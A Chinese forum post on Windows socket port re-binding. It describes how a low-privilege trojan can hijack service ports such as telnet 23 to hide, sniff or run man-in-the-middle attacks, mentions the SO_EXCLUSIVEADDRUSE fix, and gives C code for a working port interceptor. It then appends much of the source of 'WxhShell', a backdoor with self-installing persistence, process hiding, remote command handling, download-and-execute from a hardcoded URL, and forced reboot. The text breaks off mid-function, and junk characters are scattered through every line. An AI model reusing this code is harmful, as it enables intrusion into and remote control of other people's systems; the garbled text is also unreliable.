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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ogjm6;  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 3go!P])  
yfuvU2nVH  
  saddr.sin_family = AF_INET; y;#p=,r  
Isoqs(Oi  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); <qHwY.  
`iQyKZS/+  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); wIi(p5*  
hDVD@b  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Cw Z{&  
pm<<!`w"  
  这意味着什么?意味着可以进行如下的攻击: }$m_):t@@  
PO |p53  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 m}F1sRkdQ  
@c7 On)sy  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ##R]$-<4dQ  
G^ n|9)CVW  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 "o[\Aec:  
.;*0odxv  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  i,* DWD+  
#lV&U  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 m,)Re8W-  
(Dc dR:/=  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 N}.h_~6  
inR8m 4c]P  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 hQHV]xW  
h2uO+qEsu  
  #include ng<|lsZd  
  #include SU H^]4>  
  #include S}*#$naK  
  #include    CEI#x~Oq  
  DWORD WINAPI ClientThread(LPVOID lpParam);   0]i#1Si~@  
  int main() a)`h*P5@  
  { .Jou09+  
  WORD wVersionRequested; \N/T^,  
  DWORD ret; =\oNu&Q^  
  WSADATA wsaData; M|Z] B<_x  
  BOOL val; HHg=:>L z  
  SOCKADDR_IN saddr; MZ% P(5  
  SOCKADDR_IN scaddr; qK(? \ t$  
  int err; ` LU&]NS3  
  SOCKET s; t {x&|%u  
  SOCKET sc; M{hA`  
  int caddsize; '4N[bRCn  
  HANDLE mt;  (lt/ t  
  DWORD tid;    !X |Tf  
  wVersionRequested = MAKEWORD( 2, 2 ); %T1(3T{Li  
  err = WSAStartup( wVersionRequested, &wsaData ); > `z^AB   
  if ( err != 0 ) { Z$6W)~;,  
  printf("error!WSAStartup failed!\n"); |%b'L.$4  
  return -1; &z%7Nu  
  } Vf O0 z5&  
  saddr.sin_family = AF_INET; D>LdDhNn,`  
   |A5]hL   
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 P#76ehR]K  
shP,-Vs #  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); (QqKttL:  
  saddr.sin_port = htons(23); =BNmuAY7  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) #l{qb]n]  
  { *-` /A  
  printf("error!socket failed!\n"); m#'u;GP]k  
  return -1; ii{5z;I]X  
  } ,X9Y/S l  
  val = TRUE; CX\# |Q8q  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 LTFA2X&E=  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) y{"8VT)  
  { L88oh&M  
  printf("error!setsockopt failed!\n"); 8G(wYlxi  
  return -1; ;~xkT'  
  } KA%tVBl  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 5b|_?Em7  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 //| 9J(B]  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 >&Bg F*mm  
\s+ <w3  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) JnPA;1@/  
  { bzB9u&  
  ret=GetLastError(); @I_ A(cr  
  printf("error!bind failed!\n"); rS6iZp,  
  return -1; MhJq~G p  
  } 1xcx2L+R  
  listen(s,2); c69B[Vjb  
  while(1) [Zgy,j\ \  
  { j3A+:KDn3n  
  caddsize = sizeof(scaddr); /I".n]  
  //接受连接请求 k6G23p[9  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); KHdj#3<AR  
  if(sc!=INVALID_SOCKET) 8Ck:c45v  
  { $6ITa}o  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); KRm4r  
  if(mt==NULL) >Li ~Og@  
  { rZGA9duy  
  printf("Thread Creat Failed!\n"); =cqaA^HQL  
  break; vhKeW(z  
  } D:%$a]_f  
  } =d( 6 )  
  CloseHandle(mt); ")ZHa qEB  
  } *>Om3[D  
  closesocket(s); Z1OX9]##r  
  WSACleanup(); Y$Os&t@bu  
  return 0; 3nR|*t;  
  }   hLJO\=0rJz  
  DWORD WINAPI ClientThread(LPVOID lpParam) yh lZdF  
  { scN}eg:5  
  SOCKET ss = (SOCKET)lpParam; Vv6xVX  
  SOCKET sc; 4}#*M2wb  
  unsigned char buf[4096]; J& yDX>  
  SOCKADDR_IN saddr; !tX14O~B-  
  long num; 0H;dA1  
  DWORD val; =XudL^GF  
  DWORD ret; Awe\KJ^`  
  //如果是隐藏端口应用的话,可以在此处加一些判断 WET $H,  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   5%,n[qj4IT  
  saddr.sin_family = AF_INET; .DCp)&m l;  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); }RW4  
  saddr.sin_port = htons(23); BOfO$J}  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) YHCXVu<.b  
  { y 0M&Bh  
  printf("error!socket failed!\n"); 0D 0#*J  
  return -1; <6- (a;T!7  
  } ,cgC_ %  
  val = 100; ~5]AXi'e~  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) iY.~N#Q  
  { `M"b L|[R  
  ret = GetLastError(); "eGS~-DVK  
  return -1; p7 2+:I  
  } E/AM<eN  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) }{E//o:Ta  
  { "ve?7&G7U  
  ret = GetLastError(); -7;RPHJs  
  return -1; ~+^,o_hT  
  } p|Z"< I7p(  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) /"Rh bE   
  { KasOh"W.P  
  printf("error!socket connect failed!\n"); +Y 3_)  
  closesocket(sc); y$\K@B4  
  closesocket(ss); 7B+?1E(  
  return -1; h :NHReMT  
  } A+ Z3b:}~  
  while(1) KAEf4/  
  { cF,u)+2b|6  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 D {>, 2hC  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 0Wv9K~F  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 nLT]'B]$ +  
  num = recv(ss,buf,4096,0); LhV4 ^\+  
  if(num>0) 8v(Xr}q,r  
  send(sc,buf,num,0); (;Lz `r'  
  else if(num==0) ux{OgF fi  
  break; XwlUkw "q  
  num = recv(sc,buf,4096,0); }R}tIC-:  
  if(num>0) AGrGZ7p]  
  send(ss,buf,num,0); F fl`;M  
  else if(num==0) => -b?F0(c  
  break; "fz-h  
  } TX;OA"3=\-  
  closesocket(ss); %'^m6^g;  
  closesocket(sc); .8.ivfmJh  
  return 0 ; ) @))3  
  } ?86h:9  
X(E f=:  
)Q7;)iPY#  
========================================================== Hk3HzN 3  
9chiu%20  
下边附上一个代码,,WXhSHELL AS4m227  
a$;+-Y  
========================================================== $Q]`+:g*}  
7e}p:Vfp  
#include "stdafx.h" TpMfk7-  
?e&CbVc4  
#include <stdio.h> P\SD_8  
#include <string.h> QC ?8  
#include <windows.h> t@)~{W {  
#include <winsock2.h> MQ,$'Y5~H  
#include <winsvc.h> 1Rl`}7Km  
#include <urlmon.h> rKi)VVkx_  
!?Ow"i-lp  
#pragma comment (lib, "Ws2_32.lib") nJ2l$J<  
#pragma comment (lib, "urlmon.lib") a$9UUH-|  
T_YN^za(q  
#define MAX_USER   100 // 最大客户端连接数 UPJgTN*  
#define BUF_SOCK   200 // sock buffer Q5ohaxjF  
#define KEY_BUFF   255 // 输入 buffer wiwJD}3h'  
nC>#@*+jK  
#define REBOOT     0   // 重启 r("7 X2f  
#define SHUTDOWN   1   // 关机 aY3kww`  
9f BD.9A  
#define DEF_PORT   5000 // 监听端口 :5@7z9 >  
p'xj:bB  
#define REG_LEN     16   // 注册表键长度 VFG)|Z  
#define SVC_LEN     80   // NT服务名长度 `{tykYwCLc  
PB }$.8  
// 从dll定义API <NS= <'U  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); xbn+9b  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); d@#=cvW  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 5'oWd e  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); *%8,G'"r?  
'7_'s1  
// wxhshell配置信息 Y]P $|JW):  
struct WSCFG { y>wr $  
  int ws_port;         // 监听端口 sU+~#K$ b  
  char ws_passstr[REG_LEN]; // 口令 )OjbmU!7  
  int ws_autoins;       // 安装标记, 1=yes 0=no UDp"+nS  
  char ws_regname[REG_LEN]; // 注册表键名 %>24.i"l  
  char ws_svcname[REG_LEN]; // 服务名 fI"`[cA"]  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 GI6 EZ}.MZ  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 1l1X1  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 S"N@.n[  
int ws_downexe;       // 下载执行标记, 1=yes 0=no LU;ma((yy[  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" c}rRNS$F  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ;{HxY98Q  
-AcQ_dS  
}; C"0gAN  
bS0^AVA  
// default Wxhshell configuration Zsf<)Vx  
struct WSCFG wscfg={DEF_PORT, 0} P&G^%"  
    "xuhuanlingzhe", O\G%rp L$w  
    1, D0"+E*   
    "Wxhshell", CsuSg*#X+  
    "Wxhshell", #yU4X\oO  
            "WxhShell Service", +Pa!pj/< z  
    "Wrsky Windows CmdShell Service", ?]paAP;4  
    "Please Input Your Password: ", Kz^aW  
  1, 3c-ve$8u~  
  "http://www.wrsky.com/wxhshell.exe", I94;1(Cs%  
  "Wxhshell.exe" F}.Af=<Q  
    }; 39k P)cD  
y/kCzDT,  
// 消息定义模块 kMwt&6wS  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; =]7 \--  
char *msg_ws_prompt="\n\r? for help\n\r#>"; L6Ynid.k  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; J!yc9Q  
char *msg_ws_ext="\n\rExit."; TxxW/f9D  
char *msg_ws_end="\n\rQuit."; R@"N{ [9  
char *msg_ws_boot="\n\rReboot..."; HjV^6oP  
char *msg_ws_poff="\n\rShutdown..."; QjZ}*p  
char *msg_ws_down="\n\rSave to "; R` X$@iM  
.cu5h   
char *msg_ws_err="\n\rErr!"; 9N'$Y*. d<  
char *msg_ws_ok="\n\rOK!"; CQv [Od  
-R&h?ec  
char ExeFile[MAX_PATH]; .X:{s,@  
int nUser = 0; [Q^kO;  
HANDLE handles[MAX_USER]; w)!(@}vd  
int OsIsNt; \&e+f#!u  
HkrNh>^=  
SERVICE_STATUS       serviceStatus; c/g(=F__[  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; UejG$JyHP  
B]]M?pS  
// 函数声明 6j` waK  
int Install(void); KJ(zLwQ:  
int Uninstall(void); 6^ /C+zuX  
int DownloadFile(char *sURL, SOCKET wsh); }n:-nB4  
int Boot(int flag); ytAhhwN~  
void HideProc(void); ngdVRJL  
int GetOsVer(void); czHO)uQ?d`  
int Wxhshell(SOCKET wsl); G~m(&,:Mu  
void TalkWithClient(void *cs); V8,$<1Fi;-  
int CmdShell(SOCKET sock); "KFCA9u-  
int StartFromService(void); <@zOdW|{:  
int StartWxhshell(LPSTR lpCmdLine); Gjv'$O2_  
9V"^F.>  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); *b.>pY?2|  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ,eZ'pxt  
L(8Q%oX%o  
// 数据结构和表定义 h\.UUC&<  
SERVICE_TABLE_ENTRY DispatchTable[] = wx57dm+  
{ "bw4 {pa+  
{wscfg.ws_svcname, NTServiceMain}, m6 IZG l7%  
{NULL, NULL} "`&?<82  
}; ZS}2(t   
EoOrA@N  
// 自我安装 Mq*Sp UR  
int Install(void) !N)oi $T%  
{ Qh{=Z^r  
  char svExeFile[MAX_PATH]; b!`:|!7r'  
  HKEY key; Wt4!XV  
  strcpy(svExeFile,ExeFile); %!eK"DKG^  
x "N,oDs  
// 如果是win9x系统,修改注册表设为自启动 :X ;8$.z  
if(!OsIsNt) { 4vy!'r@   
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Hq%`DWus\  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); &"L3U  
  RegCloseKey(key); _ROe!w  1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ~&KfJ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 6 QxLHQA  
  RegCloseKey(key); "M? (Ax  
  return 0; NtA}I)'SWU  
    } <'gCIIa2  
  } sL!6-[N  
} rc;| ,\  
else { 1p{\jCi, 2  
^&cI+xZ2Y  
// 如果是NT以上系统,安装为系统服务 >\>HRyt%  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); yV`!Fq 1k  
if (schSCManager!=0) DU[UGJg  
{ f|b|\/.=  
  SC_HANDLE schService = CreateService \(;5YCCE  
  ( E^|b3G6T  
  schSCManager, QY{f=  
  wscfg.ws_svcname, b[u_r,b  
  wscfg.ws_svcdisp, Fa>Y]Y0r  
  SERVICE_ALL_ACCESS, @c{Z?>dUc#  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ^ 0TJys%  
  SERVICE_AUTO_START, ]cA){^.Jz  
  SERVICE_ERROR_NORMAL, 6aj)Fe'2  
  svExeFile, NIYAcLa@n8  
  NULL, ^K;,,s;0  
  NULL, \!631FcQ   
  NULL, :jUd?(  
  NULL, %n-LDn  
  NULL =Qz 8"rt#  
  ); zlXkD~GV  
  if (schService!=0) ]Mtb~^joG  
  { t[^}/ S  
  CloseServiceHandle(schService); X @\! \  
  CloseServiceHandle(schSCManager); YjsaTdZ!&  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");  _@d.wfM  
  strcat(svExeFile,wscfg.ws_svcname); v3hNvcMpf  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { *1>XlVx,  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); a?D\H5TF-  
  RegCloseKey(key); %r|fuwwJO  
  return 0; `N|WCiBV.  
    } X}? cAo2N  
  } op"Cc  
  CloseServiceHandle(schSCManager); q WP1i7]=/  
} F1/f:<}  
} 6?hv ,^  
 Q.cxen  
return 1; blS*HKw  
} Omh(UHZBB  
mX"z$  
// 自我卸载 (6.0gB$aTu  
int Uninstall(void) (s"_NUj6  
{ rT"8e*LT  
  HKEY key; BD9` +9  
;((gmg7,  
if(!OsIsNt) { L5e aQu  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 27 Lya!/  
  RegDeleteValue(key,wscfg.ws_regname); [#14atv  
  RegCloseKey(key); Q_@ Z.{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ~ae68&L6  
  RegDeleteValue(key,wscfg.ws_regname); W'6*$Ron  
  RegCloseKey(key); p 6jR,m8S  
  return 0; i:W oT4  
  } YF."D%?  
} K=!J=R;  
} =3& WH0  
else { w8@ Ok_fj  
wV U(Du  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); g fO.Ky6  
if (schSCManager!=0) U); ,Opr  
{ N|Rlb5\  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); O9g{XhMv>f  
  if (schService!=0) b z<wihZj  
  { xu_Tocvop  
  if(DeleteService(schService)!=0) { \yM[?/<  
  CloseServiceHandle(schService); kQ4%J, 7e4  
  CloseServiceHandle(schSCManager); Ij4\*D!  
  return 0; dqG+hh^  
  } gS"@P:wYzs  
  CloseServiceHandle(schService); ]C]tLJ!M  
  } $`]<4I9d  
  CloseServiceHandle(schSCManager); La3f{;|u5M  
} PJb_QL!9  
} hJaqW'S  
bt~-=\  
return 1; 5"@<7/2qI  
} {uw'7 d/  
bZ%[ON5OY  
// 从指定url下载文件 NB16O !r  
int DownloadFile(char *sURL, SOCKET wsh) q9!5J2P  
{ abI[J]T9G  
  HRESULT hr; GJ?rqmbL  
char seps[]= "/"; Pyk~V)~M  
char *token; ku`'w;5jT  
char *file; v< ;, x  
char myURL[MAX_PATH]; ^=W%G^jJy  
char myFILE[MAX_PATH]; SD TX0v  
$\0j:<o  
strcpy(myURL,sURL); :X@;XEol~  
  token=strtok(myURL,seps); "I_3!Yu  
  while(token!=NULL) '!En,*'IS  
  { n>!E ]  
    file=token; EStHl(DUPq  
  token=strtok(NULL,seps); f~"3#MaV  
  } ZXr]V'Q?  
+5^*c^C  
GetCurrentDirectory(MAX_PATH,myFILE); o#w6]Fmc  
strcat(myFILE, "\\"); Ry/NfF=  
strcat(myFILE, file); ^S, "i V  
  send(wsh,myFILE,strlen(myFILE),0); @dcW0WQ\  
send(wsh,"...",3,0); qf7.Sh  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); C'mmo&Pd  
  if(hr==S_OK) s-k-|4  
return 0; eW\_9E)cY  
else if_e$,dh~>  
return 1; >,1'[) _  
)[zyvU. J3  
} )w/f 'fq  
62Jn8DwAT  
// 系统电源模块 HlV3rYh  
int Boot(int flag) -6)ywq^{z  
{ VX;u54hS  
  HANDLE hToken; '8%aq8  
  TOKEN_PRIVILEGES tkp; y )/d-  
u4Vc:n  
  if(OsIsNt) { \ fwf\&  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); )\^%w9h  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); l;?.YtMg  
    tkp.PrivilegeCount = 1; M: `FZ}&L  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; _+^3<MT  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 4N#0w]_,>Y  
if(flag==REBOOT) { L{(r@Vu  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) @W^g(I(w  
  return 0; /mr&Y}7T  
} ?k"KZxpT  
else { Up/1c:<J  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) uw]e$,x?  
  return 0; $H5PB' b  
} `D#l(gZ  
  } 6"%[s@C  
  else { :  l]>nF4  
if(flag==REBOOT) { 9|'bPOKe  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) '#q"u y  
  return 0; g"zk14'  
} $SXF>n{}  
else { Ke,-8e#Q  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Oq!u `g9  
  return 0; ` 6"\.@4  
} %DRDe  
} Ppx*  
5[*MT%ms  
return 1; w.0.||C O  
} 8uCd|dJ  
L8Z?B\  
// win9x进程隐藏模块 ;1eu8N8  
void HideProc(void) -"a])- j  
{ Y}|78|q*  
)8iDjNM<  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); iJsw:Nc  
  if ( hKernel != NULL ) R>Zn$%j\  
  { ?xeq*<qfI  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 2TAy'BB;)  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 8q0f#/`v  
    FreeLibrary(hKernel); I>P</TE7  
  } =z@'vu$Fh  
";>D0h^D  
return; V=S`%1dLN  
} 8#oF7eE  
"@ox=  
// 获取操作系统版本 uCUBs(iD  
int GetOsVer(void) o-x_[I|@  
{ %X.Q\T  
  OSVERSIONINFO winfo; }1$8)zH  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); xds"n5  
  GetVersionEx(&winfo); r2xlcSn%  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) qi/%&)GZ  
  return 1; yp :yS  
  else "4r5n8  
  return 0; fSun{?{  
} |-e=P9,  
iP_rEi*-J  
// 客户端句柄模块 i.fDH57  
int Wxhshell(SOCKET wsl) se)I2T{J  
{ &1Az`[zKGW  
  SOCKET wsh; OB"QWdh  
  struct sockaddr_in client; oxad}Y  
  DWORD myID; m:"2I&0)WM  
g@j:TQM_0  
  while(nUser<MAX_USER) \64(`6>  
{ 2_Pe/  
  int nSize=sizeof(client); -<<!eH  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); i!Ne<Q  
  if(wsh==INVALID_SOCKET) return 1; \SMH",u  
h@Hmo^!9J  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 9xu&n%L=  
if(handles[nUser]==0) C8n1j2G\  
  closesocket(wsh); zZE?G:isR  
else -R\}Q"  
  nUser++; )s^XVs.-  
  }  ! $d:k|b  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); r@n%  
@-MrmF)<U  
  return 0; {O"dj;RU  
} >>!+Ri\@  
O&X-)g=  
// 关闭 socket _VMJq9.  
void CloseIt(SOCKET wsh) ! q1Ql18n  
{ {+`ep\.$&  
closesocket(wsh); XRNL;X%}7  
nUser--; "Dy&`  
ExitThread(0); X0=R @_KY  
} 'kUrSM'*$N  
LpF6e9V\Wp  
// 客户端请求句柄 %M^bZ?  
void TalkWithClient(void *cs) 8[y7(Xw  
{ zd;xbH//)b  
w'qV~rN~tc  
  SOCKET wsh=(SOCKET)cs; rhUZ9Fdv  
  char pwd[SVC_LEN]; 89 lPeFQ`  
  char cmd[KEY_BUFF]; lX7#3ti:  
char chr[1]; $23R%8j   
int i,j; (8>k_  
^\wosB3E  
  while (nUser < MAX_USER) { ](0A/,#q6  
S@*@*>s^  
if(wscfg.ws_passstr) { ll5Kd=3  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); VLOyUt~O#  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); f|apk,o_  
  //ZeroMemory(pwd,KEY_BUFF); SD697L9  
      i=0; o@>5[2b4  
  while(i<SVC_LEN) { CiMN J  
y\%4Dir  
  // 设置超时 t71 0sWh{  
  fd_set FdRead; :)MZgW  
  struct timeval TimeOut; A&t}s #3  
  FD_ZERO(&FdRead); )c!f J7o:  
  FD_SET(wsh,&FdRead); K+GjJ8  
  TimeOut.tv_sec=8; O0Z'vbFG  
  TimeOut.tv_usec=0; + 6}FUi!"e  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 0\i&v  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); q|6lw 74`  
\ oL+O|  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); , n EeI&  
  pwd=chr[0]; p<J/J.E  
  if(chr[0]==0xd || chr[0]==0xa) { "fmJ;W;#1  
  pwd=0; ?c43cYb  
  break; >4ALF[oH1J  
  } ]9x30UXLwD  
  i++; Nls|R  
    } 55[K[K  
!}vz_6)  
  // 如果是非法用户,关闭 socket 4b<:67 %  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); b0&dpMgh:  
} ?}Mv5SO  
20Rgw  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ,qr)}s-  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); iE&`F hf?  
M1oCa,8M+  
while(1) { 9w AP%xh  
T8RQM1D_s  
  ZeroMemory(cmd,KEY_BUFF); 9^}GUJy?  
GEvif4  
      // 自动支持客户端 telnet标准   +^"|FtKhE  
  j=0; %b_zUFHPp  
  while(j<KEY_BUFF) { z24-h C  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); LAvAjvRc  
  cmd[j]=chr[0]; yC _X@o-n  
  if(chr[0]==0xa || chr[0]==0xd) { Fs=nAn#  
  cmd[j]=0; HAU8H'h  
  break; 9:esj{X  
  } 4e5Ka{# <  
  j++; 00 $W>Gr  
    } -MU^%t;-  
CE+\|5u W  
  // 下载文件 jy1*E3vQ  
  if(strstr(cmd,"http://")) { DLz~$TF^  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); w.V8-9{  
  if(DownloadFile(cmd,wsh)) H- S28%.  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); E]e6a^J#  
  else bZKK' d$I  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \dCdyl6V  
  } 5^5h%~)}  
  else { +^%F8GB  
, R]7{7$  
    switch(cmd[0]) { UV:_5"-  
  ,0 ])]  
  // 帮助 |fa3;8!96  
  case '?': { $60+}B`m  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); :oZ30}  
    break; Lu<'A4Q1  
  } kdF# Nm  
  // 安装 `5gcc7b  
  case 'i': { x JepDCUJ>  
    if(Install()) dpE+[O_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); sF}E =lY  
    else jgC/  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); J M`uIVnNA  
    break; uL1-@D,  
    } D!y Cnq=8  
  // 卸载 ]~|zY5i!  
  case 'r': { `zTVup&  
    if(Uninstall()) [g%oo3`A  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); w1.KRe{M  
    else 5jbd!t@L  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |D<~a(0  
    break; xvW+;3;  
    } '\\J95*`  
  // 显示 wxhshell 所在路径 0Uybh.dC  
  case 'p': { ZOU$do>O  
    char svExeFile[MAX_PATH]; {Ynr(J.  
    strcpy(svExeFile,"\n\r"); hd '!f  
      strcat(svExeFile,ExeFile); |}#Rn`*2y  
        send(wsh,svExeFile,strlen(svExeFile),0); 3ldOOQW%  
    break; -\r*D#aHBN  
    } VpD9!;S  
  // 重启 "Z,'NL>&  
  case 'b': { iJ#sg+  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 2.CI^.5&  
    if(Boot(REBOOT)) Gm_Cq2PD(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 92S<TAdPP  
    else { CjD2FnjT  
    closesocket(wsh); I|08[ mO  
    ExitThread(0); yA6"8fr  
    } K 0b(D8!  
    break; I*'QD)  
    } S=o Ab&  
